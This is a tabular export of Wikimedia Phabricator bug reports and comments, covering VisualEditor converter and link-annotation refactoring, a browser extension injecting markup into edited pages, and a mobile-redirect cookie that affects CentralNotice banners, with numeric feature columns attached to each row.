253228,"VisualEditor: Broken OpenODBC browser plugin causes ""application/iodbc"" to be injected into the page","Have you reported this upstream (i.e., to the author of the extension)? I don't this it's VE's fault, although I've seen similar stuff with another extension (FoxLingo):
[[m:en:Wikipedia:VisualEditor/Feedback/Archive_2013_07#Inserting_weird_script_tag_stuff]].

Actually, might be a more general bug, as these diffs have many similarities. I wonder if any other browser extensions do this.",,,1374078408,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-h64w6lawxsfffv5qe4yw,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,1.0,1.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,1.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,13.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,9.0,7.0,1.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,5.0,4.170731707317073,0.7682926829268293,"Have you reported this upstream (i.e., to the author of the extension)? I don't this it's VE's fault, although I've seen similar stuff with another extension (FoxLingo):
[[m:en:Wikipedia:VisualEditor/Feedback/Archive_2013_07#Inserting_weird_script_tag_stuff]].

Actually, might be a more general bug, as these diffs have many similarities. I wonder if any other browser extensions do this."
53501,Rewrite VisualEditor's converter to be bottom-up,"The data->DOM converter should construct its DOM bottom-up, the way https://gerrit.wikimedia.org/r/74058 already does for annotations. This would enable us to do some cool things like:

* Pass childDomElements to nodes and meta items (already done for annotations)
* Pass data content in addition to DOM content?
* Allow nodes and meta items to unwrap themselves by returning an empty array (already done for annotations)
** We could implement unwrapping of generated wrapper paragraphs using this feature
* Possibly change the API so that instead of returning an array of DOM elements, the toDomElements function is responsible for appending its children.
** This could replace handlesOwnChildren, and enable model types with complex output

For DOM->data it's not as straightforward. We could experiment with bottom-up (outside-in, really) building there too, but it would be a bit less clear how things would work, and whether the copying involved would affect performance (although I believe we may already do a fair bit of copying around as it is).


This may be my pet project for my flight to Wikimania, or I may end up doing this sooner if there's time.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374029040,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-bevtevpkvtmwwlk2gved,task_description,open,True,c1,3,False,False,,2,,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,1.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,3.0,0.3333333333333333,5.333333333333333,10.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,2.3333333333333335,1.3333333333333333,0.3333333333333333,2.3333333333333335,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,4.0,0.0,0.3333333333333333,0.0,0.0,0.0,12.666666666666666,1.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.6666666666666667,7.666666666666667,2.3333333333333335,2.0,5.333333333333333,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.0,0.0,5.0,10.0,2.0,0.3333333333333333,0.0,0.0,5.0,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,4.24194519722975,0.7584562882665864,"The data->DOM converter should construct its DOM bottom-up, the way GERRIT_URL already does for annotations. This would enable us to do some cool things like:

* Pass childDomElements to nodes and meta items (already done for annotations)
* Pass data content in addition to DOM content?
* Allow nodes and meta items to unwrap themselves by returning an empty array (already done for annotations)
** We could implement unwrapping of generated wrapper paragraphs using this feature
* Possibly change the API so that instead of returning an array of DOM elements, the toDomElements function is responsible for appending its children.
** This could replace handlesOwnChildren, and enable model types with complex output

For DOM->data it's not as straightforward. We could experiment with bottom-up (outside-in, really) building there too, but it would be a bit less clear how things would work, and whether the copying involved would affect performance (although I believe we may already do a fair bit of copying around as it is).


This may be my pet project for my flight to Wikimania, or I may end up doing this sooner if there's time.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
252152,Rewrite VisualEditor's converter to be bottom-up,Ping on this bug.,,,1402554326,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bevtevpkvtmwwlk2gved,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,Ping on this bug.
252149,Rewrite VisualEditor's converter to be bottom-up,"(In reply to comment #0)
> * Possibly change the API so that instead of returning an array of DOM
> elements, the toDomElements function is responsible for appending its
> children.
> ** This could replace handlesOwnChildren, and enable model types with complex
> output
> 
This would also enable partial unwrapping of annotations, e.g. <p><a> Foo </a></p> -> <p> <a>Foo</a> </p>",,,1374029309,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bevtevpkvtmwwlk2gved,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,2.8823529411764706,0.5882352941176471,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
This would also enable partial unwrapping of annotations, e.g. <p><a> Foo </a></p> -> <p> <a>Foo</a> </p>"
53487,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Right now, ce.MWInternalLinkAnnotation obtains a DM rendering to get the computed href. We should factor out href computation so that this isn't needed.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1374014700,1382985970.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.297872340425532,0.7446808510638298,"Right now, ce.MWInternalLinkAnnotation obtains a DM rendering to get the computed href. We should factor out href computation so that this isn't needed.

--------------------------
**Version**: unspecified
**Severity**: normal"
251204,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Change 90953 merged by jenkins-bot:
Get rid of dmRendering hack in ve.ce.MWInternalLinkAnnotation

https://gerrit.wikimedia.org/r/90953",,,1382986514,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.95,1.0,"Change 90953 merged by jenkins-bot:
Get rid of dmRendering hack in ve.ce.MWInternalLinkAnnotation

GERRIT_URL"
251198,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Change 90953 had a related patch set uploaded by Catrope:
Get rid of dmRendering hack in ve.ce.MWInternalLinkAnnotation

https://gerrit.wikimedia.org/r/90953",,,1382383432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.043478260869565,1.0,"Change 90953 had a related patch set uploaded by Catrope:
Get rid of dmRendering hack in ve.ce.MWInternalLinkAnnotation

GERRIT_URL"
251193,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"(In reply to comment #2)
> (In reply to comment #1)
> > Change 86065 had a related patch set uploaded by Catrope:
> > Resolve rendered URLs according to the provided <base>
> > 
> > https://gerrit.wikimedia.org/r/86065
> This change tried to just get rid of href computation, but that's not good
> enough. It does need to actually be computed.

The most recent version of this change actually makes the hack worse, in order to partly fix bug 48915. Once that bug is fixed properly, this hack can be removed.",,,1380241008,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,4.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.456140350877193,0.6842105263157895,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The most recent version of this change actually makes the hack worse, in order to partly fix bug 48915. Once that bug is fixed properly, this hack can be removed."
251187,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"(In reply to comment #1)
> Change 86065 had a related patch set uploaded by Catrope:
> Resolve rendered URLs according to the provided <base>
> 
> https://gerrit.wikimedia.org/r/86065
This change tried to just get rid of href computation, but that's not good enough. It does need to actually be computed.",,,1380240303,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3488372093023258,0.7674418604651163,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
This change tried to just get rid of href computation, but that's not good enough. It does need to actually be computed."
251183,VisualEditor: Get rid of dmRendering stuff in ce.MWInternalLinkAnnotation,"Change 86065 had a related patch set uploaded by Catrope:
Resolve rendered URLs according to the provided <base>

https://gerrit.wikimedia.org/r/86065",,,1380161666,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-izrcwmsj2eh7uaufp4mk,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.5,1.0,"Change 86065 had a related patch set uploaded by Catrope:
Resolve rendered URLs according to the provided <base>

GERRIT_URL"
53465,Switching to mobile view and back leaves cookie behind,"If someone is clicking on ""Mobile View"" and then back to ""Desktop"", a stopMobileRedirect cookie is left behind. This cookie will disable central notices on all wikimedia sites perpetually

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374004080,1376950515.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_description,declined,True,c1,3,False,False,True,2,,2.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,13.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.452830188679245,0.7169811320754716,"If someone is clicking on ""Mobile View"" and then back to ""Desktop"", a stopMobileRedirect cookie is left behind. This cookie will disable central notices on all wikimedia sites perpetually

--------------------------
**Version**: unspecified
**Severity**: enhancement"
249799,Switching to mobile view and back leaves cookie behind,"I'm marking this as wontfix.

While I see your point about not setting the stopMobileRedirect cookie for devices that wouldn't normally get automatically redirected (eg a desktop browser), we don't have a reliable way to detect that, so without rearchitecting, we can't really achieve this. Ultimately, we've been attempting to simplify how MobileFrontend works - partly for performance/caching reasons and partly for codebase sanity, and I do not think this usecase is compelling enough to warrant additional complexity.

I suspect Jon is right that with some CSS magic you may be able to resolve the specific issues you're running into with the banners. Otherwise, we should have a bigger discussion about how best for you guys to achieve what you need from within CentralNotice.",,,1376950515,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,7,,0.5,0.0,0.0,0.0,2.5,5.5,2.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,4.5,1.0,8.5,12.0,0.0,3.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,6.5,2.5,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.5,0.0,10.0,1.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,3.5,2.5,6.5,2.5,2.0,6.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,8.0,12.0,2.5,0.0,0.0,0.0,8.0,0.0,2.5,1.5,0.0,3.0,0.5,0.5,0.0,4.489263235838578,0.8095149944465013,"I'm marking this as wontfix.

While I see your point about not setting the stopMobileRedirect cookie for devices that wouldn't normally get automatically redirected (eg a desktop browser), we don't have a reliable way to detect that, so without rearchitecting, we can't really achieve this. Ultimately, we've been attempting to simplify how MobileFrontend works - partly for performance/caching reasons and partly for codebase sanity, and I do not think this usecase is compelling enough to warrant additional complexity.

I suspect Jon is right that with some CSS magic you may be able to resolve the specific issues you're running into with the banners. Otherwise, we should have a bigger discussion about how best for you guys to achieve what you need from within CentralNotice."
249793,Switching to mobile view and back leaves cookie behind,"Is that zoomed in?
Does it disappear when you scroll?
Is it fixed position or absolute?

How can one access that banner on a phone - is there a url? Looks like with a few tweaks to the css that should be easy render correctly on a desktop view on a mobile screen...",,,1374866409,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,7.0,8.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,13.0,0.0,7.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,3.540983606557377,0.7704918032786885,"Is that zoomed in?
Does it disappear when you scroll?
Is it fixed position or absolute?

How can one access that banner on a phone - is there a url? Looks like with a few tweaks to the css that should be easy render correctly on a desktop view on a mobile screen..."
249790,Switching to mobile view and back leaves cookie behind,"**mwalker** wrote:

Illustration of why desktop banners should not be served to mobile users

Adam got this whilst browsing on the desktop site on his phone whilst logged out.

**Attached**: {F11712}",,,1374861806,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6595744680851063,0.723404255319149,"**mwalker** wrote:

Illustration of why desktop banners should not be served to mobile users

Adam got this whilst browsing on the desktop site on his phone whilst logged out.

**Attached**: {F11712}"
249789,Switching to mobile view and back leaves cookie behind,"""With CentralNotice not filtering; true mobile users who choose to use the
desktop site may be presented with a banner that doesn't work on small screens
- e.g. the buttons are too small to hit with a finger.""

This is a non-issue
The banner will be exactly the same size for users viewing the desktop site on a mobile device.",,,1374098687,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.0,3.0,11.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,12.0,6.0,6.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.763888888888889,0.7083333333333334,"""With CentralNotice not filtering; true mobile users who choose to use the
desktop site may be presented with a banner that doesn't work on small screens
- e.g. the buttons are too small to hit with a finger.""

This is a non-issue
The banner will be exactly the same size for users viewing the desktop site on a mobile device."
249787,Switching to mobile view and back leaves cookie behind,"**mwalker** wrote:

(In reply to comment #4)
> You want to show a banner on the desktop site (en.wikipedia.org and friends)
> when viewed in a mobile phone?

Nope -- we want to show a banner on the desktop site to a desktop user who has previously used the mobile interface.

> Could you clarify ""Removing the filtering comes at the expense of potentially
> exposing users to banners that don't work particularly well on small
> screens.""

With CentralNotice not filtering; true mobile users who choose to use the desktop site may be presented with a banner that doesn't work on small screens - e.g. the buttons are too small to hit with a finger.

> Does this effect the mobile site (en.m.wikipedia.org and friends) in anyway?

No. Only the desktop site (and the transition of a desktop user between that and the mobile site and back.)

> I'm also unclear how this effects the VisualEditor roll out... (you mention
> this in the CentralNotice fix).

VE is only involved because we spotted it with a VE banner (they want to show to everyone so we're getting lots of interesting CN bugs.)

> The stopMobileRedirect cookie exists for a reason - if a user of the mobile
> site wants to see the desktop site this stops them from being redirected on
> every visit.

Yep, understood. The feature request is more to not return 'desktop' devices to the desktop site after having viewed the mobile site with a stopMobileRedirect cookie.

> We could only set the stopMobileRedirect cookie if the user is on a mobile
> phone but this is messy and I don't see what value the work put in to achieve
> this would gain. Does anything really need to change in MobileFrontend now?

Meh; don't know. This is an edge case... It's more related to if we have more things that are device dependent using the cookie to determine if someone is on a big device or not.",,,1374091987,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.6666666666666666,0.0,0.6666666666666666,2.0,4.666666666666667,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,2.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,4.333333333333333,10.0,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,2.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,17.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,7.333333333333333,2.6666666666666665,10.0,1.3333333333333333,1.3333333333333333,8.0,0.0,0.0,0.0,0.3333333333333333,4.0,0.0,0.3333333333333333,0.0,2.3333333333333335,10.0,5.0,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,1.3333333333333333,3.3333333333333335,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,3.68477366255144,0.6555555555555556,"**mwalker** wrote:

(In reply to comment #4)
QUOTE
QUOTE

Nope -- we want to show a banner on the desktop site to a desktop user who has previously used the mobile interface.

QUOTE
QUOTE
QUOTE

With CentralNotice not filtering; true mobile users who choose to use the desktop site may be presented with a banner that doesn't work on small screens - e.g. the buttons are too small to hit with a finger.

QUOTE

No. Only the desktop site (and the transition of a desktop user between that and the mobile site and back.)

QUOTE
QUOTE

VE is only involved because we spotted it with a VE banner (they want to show to everyone so we're getting lots of interesting CN bugs.)

QUOTE
QUOTE
QUOTE

Yep, understood. The feature request is more to not return 'desktop' devices to the desktop site after having viewed the mobile site with a stopMobileRedirect cookie.

QUOTE
QUOTE
QUOTE

Meh; don't know. This is an edge case... It's more related to if we have more things that are device dependent using the cookie to determine if someone is on a big device or not."
249785,Switching to mobile view and back leaves cookie behind,"Just to check I understand the problem correctly:
You want to show a banner on the desktop site (en.wikipedia.org and friends) when viewed in a mobile phone?
Was there any reason you didn't do this before? I don't really understand the logic... ResourceLoader disables JavaScript on older phones so these banners should work perfectly fine.

Could you clarify ""Removing the filtering comes at the expense of potentially exposing users to banners that don't work particularly well on small screens."" - if a mobile views the desktop site on their phone they will either use a modified viewport [1] and the banner will look exactly the same as desktop, or if there is no viewport the entire website will be unreadable so I'd be surprised they'd even be in desktop mode.

Does this effect the mobile site (en.m.wikipedia.org and friends) in anyway?

I'm also unclear how this effects the VisualEditor roll out... (you mention this in the CentralNotice fix).

The stopMobileRedirect cookie exists for a reason - if a user of the mobile site wants to see the desktop site this stops them from being redirected on every visit.

We could only set the stopMobileRedirect cookie if the user is on a mobile phone but this is messy and I don't see what value the work put in to achieve this would gain. Does anything really need to change in MobileFrontend now?

[1] http://www.quirksmode.org/mobile/viewports2.html",,,1374082443,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,4.0,1.6666666666666667,0.0,0.0,1.3333333333333333,2.3333333333333335,2.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,2.0,0.0,7.333333333333333,10.333333333333334,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.0,6.666666666666667,2.6666666666666665,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,15.333333333333334,1.6666666666666667,1.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,8.666666666666666,2.6666666666666665,7.0,2.3333333333333335,2.3333333333333335,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.6666666666666666,0.0,4.666666666666667,10.333333333333334,2.6666666666666665,1.3333333333333333,0.6666666666666666,0.0,4.666666666666667,0.0,1.3333333333333333,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,4.137362637362638,0.7370600414078675,"Just to check I understand the problem correctly:
You want to show a banner on the desktop site (en.wikipedia.org and friends) when viewed in a mobile phone?
Was there any reason you didn't do this before? I don't really understand the logic... ResourceLoader disables JavaScript on older phones so these banners should work perfectly fine.

Could you clarify ""Removing the filtering comes at the expense of potentially exposing users to banners that don't work particularly well on small screens."" - if a mobile views the desktop site on their phone they will either use a modified viewport [1] and the banner will look exactly the same as desktop, or if there is no viewport the entire website will be unreadable so I'd be surprised they'd even be in desktop mode.

Does this effect the mobile site (en.m.wikipedia.org and friends) in anyway?

I'm also unclear how this effects the VisualEditor roll out... (you mention this in the CentralNotice fix).

The stopMobileRedirect cookie exists for a reason - if a user of the mobile site wants to see the desktop site this stops them from being redirected on every visit.

We could only set the stopMobileRedirect cookie if the user is on a mobile phone but this is messy and I don't see what value the work put in to achieve this would gain. Does anything really need to change in MobileFrontend now?

[1] URL"
